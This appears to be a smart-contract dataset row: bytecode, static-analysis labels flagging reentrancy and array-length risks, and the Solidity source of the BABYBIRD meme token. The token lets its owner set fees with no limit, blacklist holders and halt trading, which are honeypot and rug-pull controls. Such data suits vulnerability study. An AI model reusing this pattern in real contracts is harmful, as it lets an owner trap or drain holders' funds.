0080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f167d3e9c1016ab80e58802ca9da10ce5c6a0f4debc46a2e7a2cd9e56899a4fb581604051600160a060020a03909116815260200160405180910390a150565b60065471010000000000000000000000000000000000900467ffffffffffffffff1681565b60055481565b6006546901000000000000000000900467ffffffffffffffff1681565b60075467ffffffffffffffff1681565b60055490565b60046020526000908152604090205481565b60095460ff1681565b600654610100900467ffffffffffffffff1681565b60085481565b600054600160a060020a031681565b60005433600160a060020a039081169116146104cf57600080fd5b6009805461ff0019166101001790557f77563e26f751f6c469d11286ef3f15cb0d2033a8b182387a2a4478201996178760405160405180910390a1565b60016020819052600091825260409091208054910154600160a060020a0381169060a060020a900463ffffffff1683565b60026020526000908152604090205481565b60095460ff1680151560011461056457600080fd5b60065467ffffffffffffffff610100909104811642909116108015906105a7575060065467ffffffffffffffff6901000000000000000000909104811642909116105b15156105b257600080fd5b6105bc83836107c8565b7f9368bc78a0bff8558a96f0716c502e7826c09faab0999d15c1464d46432866ec338484604051600160a060020a03909316835260208301919091526040808301919091526060909101905180910390a1505050565b60005433600160a060020a0390811691161461062d57600080fd5b6006546901000000000000000000900467ffffffffffffffff16421161065257600080fd5b60058190556006805460ff191660011790557fa69839328d982396193483f2260936b1d1f2109fdde204b27c7ac3c1cfd18db08160405190815260200160405180910390a150565b60005460a060020a900460ff1681565b60095460ff1680156106bb57600080fd5b60065467ffffffffffffffff610100909104811642909116108015906106fe575060065467ffffffffffffffff6901000000000000000000909104811642909116105b151561070957600080fd5b610712826107e9565b507f620a05d88e802eea13268414c30858ec8b2524d13ee3e3e93519ac140047eba43383604051600160a060020a03909216825260208201526040908101905180910390a15050565b60005460a060020a900460ff16151561077357600080fd5b60005433600160a060020a0390811691161461078e57600080fd5b6006805467ffffffffffffffff90921669010000000000000000000270ffffffffffffffff00000000000000000019909216919091179055565b60006107d3836107e9565b6000908152600260205260409020919091555050565b60035460009060606040519081016040908152848252600160a060020a03331660208084019190915263ffffffff431682840152600084815260019091522081518155602082015160018201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560408201516001918201805463ffffffff9290921660a060020a0277ffffffff000000000000000000000000000000000000000019909216919091179055600160a060020a0333166000908152600460205260409020839055600380549091019055509050919050565b60008167ffffffffffffffff168367ffffffffffffffff1611156108ef5750816108f2565b50805b929150505600a165627a7a72305820e8e53a8a993157771a0cc957d24914bfc5216a97fd9b3bc59b310694310c02790029a165627a7a723058202d4ab3817e2d3b679c38d218cb113aa8854e8d847df2c396a408db59a316ac170029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 7,875 |
0x0399cfea5f0602dff75e7aa670e1f351b98ee763
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
// SPDX-License-Identifier: Unlicensed
/**Baby bird doo doo doo doo doo doo
Baby bird doo doo doo doo doo doo
Mommy bird doo doo doo doo doo doo
Mommy bird doo doo doo doo doo doo
Mommy bird doo doo doo doo doo doo
Daddy bird doo doo doo doo doo doo
Grandma bird doo doo doo doo doo doo
Grandma bird doo doo doo doo doo doo
Sunny day doo doo doo doo doo doo
Sunny day doo doo doo doo doo doo
Go and spend it doo doo doo doo doo doo
Go and spend it doo doo doo doo doo doo
Tight away doo doo doo doo doo doo
Tight away doo doo doo doo doo doo
Bird attack doo doo doo doo doo doo
Bird attack doo doo doo doo doo doo
What the fact doo doo doo doo doo doo
What the fact doo doo doo doo doo doo
What the fact doo doo doo doo doo doo
What the fact doo doo doo doo doo doo
We safe at last doo doo doo doo doo doo
We safe at last doo doo doo doo doo doo
We safe at last doo doo doo doo doo doo
We safe at last doo doo doo doo doo doov
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BABYBIRD is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Chrip Chrip Chrip";
string private constant _symbol = "BabyBird";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 666666666666666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x09a1De50EbfAC432f668e83b7Cd6eb0b6765329b);
address payable private _marketingAddress = payable(0x09a1De50EbfAC432f668e83b7Cd6eb0b6765329b);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 6666666666666 * 10**9;
uint256 public _maxWalletSize = 6666666666666 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610562578063dd62ed3e14610582578063ea1644d5146105c8578063f2fde38b146105e857600080fd5b8063a2a957bb146104dd578063a9059cbb146104fd578063bfd792841461051d578063c3c8cd801461054d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104565780638f9a55c01461047657806395d89b411461048c57806398a5c315146104bd57600080fd5b80637d1db4a5146103f55780637f2feddc1461040b5780638da5cb5b1461043857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038b57806370a08231146103a0578063715018a6146103c057806374010ece146103d557600080fd5b8063313ce5671461030f57806349bd5a5e1461032b5780636b9990531461034b5780636d8aa8f81461036b57600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d95780632fd689e3146102f957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611964565b610608565b005b34801561020a57600080fd5b506040805180820190915260118152700436872697020436872697020436872697607c1b60208201525b6040516102419190611a29565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611a7e565b6106a7565b6040519015158152602001610241565b34801561028657600080fd5b5060145461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50698d2c1289ddf398ee24005b604051908152602001610241565b3480156102e557600080fd5b5061026a6102f4366004611aaa565b6106be565b34801561030557600080fd5b506102cb60185481565b34801561031b57600080fd5b5060405160098152602001610241565b34801561033757600080fd5b5060155461029a906001600160a01b031681565b34801561035757600080fd5b506101fc610366366004611aeb565b610727565b34801561037757600080fd5b506101fc610386366004611b18565b610772565b34801561039757600080fd5b506101fc6107ba565b3480156103ac57600080fd5b506102cb6103bb366004611aeb565b610805565b3480156103cc57600080fd5b506101fc610827565b3480156103e157600080fd5b506101fc6103f0366004611b33565b61089b565b34801561040157600080fd5b506102cb60165481565b34801561041757600080fd5b506102cb610426366004611aeb565b60116020526000908152604090205481565b34801561044457600080fd5b506000546001600160a01b031661029a565b34801561046257600080fd5b506101fc610471366004611b18565b6108ca565b34801561048257600080fd5b506102cb60175481565b34801561049857600080fd5b506040805180820190915260088152671098589e509a5c9960c21b6020820152610234565b3480156104c957600080fd5b506101fc6104d8366004611b33565b610912565b3480156104e957600080fd5b506101fc6104f8366004611b4c565b610941565b34801561050957600080fd5b5061026a610518366004611a7e565b61097f565b34801561052957600080fd5b5061026a610538366004611aeb565b60106020526000908152604090205460ff1681565b34801561055957600080fd5b506101fc61098c565b34801561056e57600080fd5b506101fc61057d366004611b7e565b6109e0565b34801561058e57600080fd5b506102cb61059d366004611c02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d457600080fd5b506101fc6105e3366004611b33565b610a81565b3480156105f457600080fd5b506101fc610603366004611aeb565b610ab0565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161063290611c3b565b60405180910390fd5b60005b81518110156106a35760016010600084848151811061065f5761065f611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069b81611c9c565b91505061063e565b5050565b60006106b4338484610b9a565b5060015b92915050565b60006106cb848484610cbe565b61071d843361071885604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fa565b610b9a565b5060019392505050565b6000546001600160a01b031633146107515760405162461bcd60e51b815260040161063290611c3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161063290611c3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ef57506013546001600160a01b0316336001600160a01b0316145b6107f857600080fd5b4761080281611234565b50565b6001600160a01b0381166000908152600260205260408120546106b89061126e565b6000546001600160a01b031633146108515760405162461bcd60e51b815260040161063290611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c55760405162461bcd60e51b815260040161063290611c3b565b601655565b6000546001600160a01b031633146108f45760405162461bcd60e51b815260040161063290611c3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161063290611c3b565b601855565b6000546001600160a01b0316331461096b5760405162461bcd60e51b815260040161063290611c3b565b600893909355600a91909155600955600b55565b60006106b4338484610cbe565b6012546001600160a01b0316336001600160a01b031614806109c157506013546001600160a01b0316336001600160a01b0316145b6109ca57600080fd5b60006109d530610805565b9050610802816112f2565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161063290611c3b565b60005b82811015610a7b578160056000868685818110610a2c57610a2c611c70565b9050602002016020810190610a419190611aeb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611c9c565b915050610a0d565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161063290611c3b565b601755565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161063290611c3b565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610632565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610632565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610632565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610632565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610632565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610632565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b156110f357601554600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610632565b601654811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610632565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3f57506001600160a01b03821660009081526010602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610632565b6015546001600160a01b0383811691161461101c5760175481610fb984610805565b610fc39190611cb5565b1061101c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610632565b600061102730610805565b6018546016549192508210159082106110405760165491505b8080156110575750601554600160a81b900460ff16155b801561107157506015546001600160a01b03868116911614155b80156110865750601554600160b01b900460ff165b80156110ab57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d057506001600160a01b03841660009081526005602052604090205460ff16155b156110f0576110de826112f2565b4780156110ee576110ee47611234565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113557506001600160a01b03831660009081526005602052604090205460ff165b8061116757506015546001600160a01b0385811691161480159061116757506015546001600160a01b03848116911614155b15611174575060006111ee565b6015546001600160a01b03858116911614801561119f57506014546001600160a01b03848116911614155b156111b157600854600c55600954600d555b6015546001600160a01b0384811691161480156111dc57506014546001600160a01b03858116911614155b156111ee57600a54600c55600b54600d555b610a7b8484848461146c565b6000818484111561121e5760405162461bcd60e51b81526004016106329190611a29565b50600061122b8486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a3573d6000803e3d6000fd5b60006006548211156112d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610632565b60006112df61149a565b90506112eb83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a5761133a611c70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611ce4565b816001815181106113ca576113ca611c70565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b9a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611d01565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a7b57610a7b600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611735565b6001600160a01b0389166000908152600260205260409020556115c281611794565b6115cc84836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190698d2c1289ddf398ee240061164182826114bd565b82101561165f57505060065492698d2c1289ddf398ee240092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106329190611a29565b50600061122b8486611d72565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149a565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b6000806117428385611cb5565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610632565b600061179e61149a565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114bd565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826000036118b9575060006106b8565b60006118c58385611d94565b9050826118d28583611d72565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610632565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080257600080fd5b803561195f8161193f565b919050565b6000602080838503121561197757600080fd5b823567ffffffffffffffff8082111561198f57600080fd5b818501915085601f8301126119a357600080fd5b8135818111156119b5576119b5611929565b8060051b604051601f19603f830116810181811085821117156119da576119da611929565b6040529182528482019250838101850191888311156119f857600080fd5b938501935b82851015611a1d57611a0e85611954565b845293850193928501926119fd565b98975050505050505050565b600060208083528351808285015260005b81811015611a5657858101830151858201604001528201611a3a565b81811115611a68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9157600080fd5b8235611a9c8161193f565b946020939093013593505050565b600080600060608486031215611abf57600080fd5b8335611aca8161193f565b92506020840135611ada8161193f565b929592945050506040919091013590565b600060208284031215611afd57600080fd5b81356112eb8161193f565b8035801515811461195f57600080fd5b600060208284031215611b2a57600080fd5b6112eb82611b08565b600060208284031215611b4557600080fd5b5035919050565b60008060008060808587031215611b6257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9357600080fd5b833567ffffffffffffffff80821115611bab57600080fd5b818601915086601f830112611bbf57600080fd5b813581811115611bce57600080fd5b8760208260051b8501011115611be357600080fd5b602092830195509350611bf99186019050611b08565b90509250925092565b60008060408385031215611c1557600080fd5b8235611c208161193f565b91506020830135611c308161193f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611cae57611cae611c86565b5060010190565b60008219821115611cc857611cc8611c86565b500190565b600082821015611cdf57611cdf611c86565b500390565b600060208284031215611cf657600080fd5b81516112eb8161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1dab1d592116a825118b7da880645b153abc79399a7491166f70a082773f30464736f6c634300080d0033
|
